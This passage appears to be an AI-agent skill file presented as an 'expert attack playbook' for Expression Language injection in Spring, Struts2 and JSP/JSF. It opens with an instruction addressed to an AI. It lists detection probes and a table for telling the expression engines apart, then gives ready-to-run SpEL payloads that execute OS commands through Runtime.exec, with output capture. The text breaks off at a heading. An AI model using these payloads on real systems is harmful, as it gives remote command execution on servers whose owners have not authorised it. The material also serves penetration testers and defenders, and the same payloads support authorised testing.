expression-language-injection

SKILL: Expression Language Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains.

0. RELATED ROUTING

• ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
• jndi-injection when EL evaluation leads to JNDI lookup

Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.

---

1. DETECTION — POLYGLOT PROBES

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

Response to ${7*7}	Response to %{7*7}	Engine
49	literal %{7*7}	SpEL or Java EL
literal ${7*7}	49	OGNL (Struts2)
49	49	Both may be active

---

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

• @Value("${...}") annotations
• Spring Security expressions (@PreAuthorize)
• Spring Cloud Gateway route predicates and filters
• Thymeleaf th:text="${...}" (when combined with __${...}__ preprocessing)
• Spring Data @Query with SpEL

RCE via Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)